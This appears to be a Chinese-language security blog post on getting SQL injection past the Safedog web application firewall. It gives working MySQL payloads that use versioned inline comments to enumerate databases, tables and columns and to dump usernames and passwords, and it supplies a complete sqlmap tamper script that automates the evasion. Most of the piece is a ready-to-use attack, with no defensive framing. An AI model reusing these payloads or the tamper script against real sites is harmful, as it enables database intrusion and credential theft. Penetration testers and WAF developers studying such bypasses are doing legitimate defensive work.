0x01:FUZZ安全狗策略

首先通过fuzz测试安全狗的策略:

这里以MySQL为例,mssql后面写

and 1 #and后加数字拦截
order by #order 后加by会拦截
user()、database()#关键词跟括号会被拦截
union select#union后跟select会被拦截
select ... from #select后面跟关键字也会拦截

0x02:bypass安全狗

如何bypass前面文章也说过了 http://pureqh.top/?p=746 ,核心是内联注释加参数扰乱。

首先解决第一条 and 1 #and后加数字拦截

在mysql的语法中,有三种注释方法:-- # (单行注释)和 /* */(多行注释)如果在/*后加惊叹号 ! 意为/* */里的语句将被执行,在mysql中 /*! ....*/ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!50001 select * from test */;这里的50001表示假如 数据库是5.00.01及以上版本,该语句才会被执行。

我们的绕过便是基于mysql这个特性展开的,由于mysql版本号是有迹可循的,比如5.5.53 以往版本的安全狗为了防止内联加版本号绕过,将所有mysql版本号的五位数字都加了黑名单,包括以往一些被用过的数字组合 80000 50000 等

没办法了吗?不可能的。

我们知道 五位数共有10W个之多,安全狗真的会把这10w个数字都加到规则中吗,我们先不谈这么庞大的规则对web应用处理速度产生的影响,它同时会对业务产生不小的影响,因为/*!*/是mysql区别其他数据库的关键字,加入版本号约束也是为了兼容高版本采取的措施,安全狗真的全部处理掉这些数字相当于废掉了mysql这个多行注释语句。

我们可以简单试一下,我们利用burpsuite进行爆破,将五位数全来一遍

可见上面爆破出来许多可用字符,我们随便拿一个带入payload,成功bypass

那么,还有其他方法吗,当然有

内联注释虽然可以执行注释符内的语句,但是别忘了,他也是注释,也是可以不执行内部语句的,既然安全狗的规则是union和select不能连起来,那我们在他们中间加点东西不就行了吗,这里便是内联的第二个绕过方法,即扰乱,具体原理,便是在内联中加入字符进行干扰安全狗,但是不影响语句的执行。

我们可以这样 1' union/*!80000aaa*/ select 1,2,3 --+  ,由于内联加入了惊叹号,所以mysql要判断版本80000,但是mysql没有这个版本,所以不执行后面的语句,这样便达到了分隔的作用,我们试一下

成功绕过

查当前数据库名:

贴一个payload:?id=-83%20union%20/*!80000aaa*/select%201,2,3,4,5,6,database/*!80000aaa*/(),8,9,10,11,12,13,14,15,16

查数据库名:

?id=-83%20union%20/*!80000aaa*/select%201,2,3,4,5,6,(/*!80000aaa*/select/*!80000aaa*/group_concat(schema_name) from information_schema.schemata),8,9,10,11,12,13,14,15,16

查表名:

 ?id=-83%20union%20/*!80000aaa*/select%201,2,3,4,5,6,(/*!80000aaa*/select/*!80000aaa*/group_concat(table_name) from information_schema.tables),8,9,10,11,12,13,14,15,16 

查列名:

?id=-83%20union%20/*!80000aaa*/select%201,2,3,4,5,6,(/*!80000aaa*/select/*!80000aaa*/group_concat(column_name) from information_schema.columns where table_schema=database/*!80000aaa*/()),8,9,10,11,12,13,14,15,16

查字段:

?id=-83%20union%20/*!80000aaa*/select%201,2,3,4,5,6,(/*!80000aaa*/select/*!80000aaa*/group_concat(name,password) from adm_check),8,9,10,11,12,13,14,15,16

0x03:tamper结构

tamper由三大结构组成,如下:

#coding:utf-8
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:J8sec.com
"""

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
     pass
def tamper(payload, **kwargs):
     pass

PRIORITY

PRIORITY是定义tamper的优先级,如果使用者使用了多个tamper,sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper,PRIORITY有以下几个参数:

  • LOWEST = -100
  • LOWER = -50
  • LOW = -10
  • NORMAL = 0
  • HIGH = 10
  • HIGHER = 50
  • HIGHEST = 100

值越高,优先级越高。因为我们这里只是绕过安全狗,随便设置个值就ok。

dependencies

dependencies主要是提示用户,这个tamper支持哪些数据库,具体代码如下:

DBMS.MYSQL这个参数代表的是Mysql,其他数据库的参数如下:

  • ACCESS = "Microsoft Access"
  • DB2 = "IBM DB2"
  • FIREBIRD = "Firebird"
  • MAXDB = "SAP MaxDB"
  • MSSQL = "Microsoft SQL Server"
  • MYSQL = "MySQL"
  • ORACLE = "Oracle"
  • PGSQL = "PostgreSQL"
  • SQLITE = "SQLite"
  • SYBASE = "Sybase"
  • HSQLDB = "HSQLDB"

Tamper

tamper这个函数是tamper最重要的函数,你要实现的功能,全部写在这个函数里

payload这个参数就是sqlmap的原始注入payload,我们要实现绕过,一般就是针对这个payload的修改。kwargs是针对http头部的修改,如果你bypass,是通过修改http头,就需要用到这个

0x04:编写tamper

我们利用burp进行逐步抓包绕过,使用burp代理sqlmap的流量。

1、识别注入 抓到的sqlmap数据包如下

安全狗默认不会拦截,sqlmap就会判断可能存在注入

继续抓包

被拦截了,这也是安全狗的规则,and后面加数字会被过滤。

开始编写tamper

把and替换成我们前面bypass的payload,就不会拦截了。

其他的payload也一样

这里user()使用/*!80000aaa*/会导致读不出表和数据库,所以使用hex(user/**/()))进行绕过。

2.识别数据库类型,绕过了and之后,sqlmap会识别数据库类型

虽然我们绕过了user()这个函数,安全狗还是进行了拦截,经过测试,发现安全狗拦截了SESSION_USER(),本来是想把SESSION_USER按照USER()进行绕过,也就是 hex(SESSION_user/**/()),发现会报错,如图:

因为安全狗拦截函数是拦截名称和括号之间,既然名称那饶不了,我们就在括号里做文章。最后经过测试,payload为:hex(SESSION_USER(-- B%0a))

原理是--会注释掉后面的B,%0a是换行,所以括号可以连起来。

3、注入 因为后面payload大同小异,我们只要把sqlmap原始的UNION ALL SELECT替换成union/*!80000aaa*/select/*!80000aaa*/就好了

0x05:完整脚本

#!/usr/bin/env python
#coding:utf-8
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
Author:pureqh.top
"""


from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    payload=payload.replace('AND','/*!11444AND*/')
    payload=payload.replace('ORDER','order/*!80000aaa*/')
    payload=payload.replace('USER())','hex(user/**/()))')
    payload=payload.replace('SESSION_USER()','hex(SESSION_USER(-- B%0a))')
    payload=payload.replace('UNION ALL SELECT','union/*!80000aaa*/select/*!80000aaa*/')
    return payload

0x06:局限性

目前这个脚本只适用于联合注入,且只适用于Mysql。后续试一试写一下mssql和mysql的其他注入类型。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注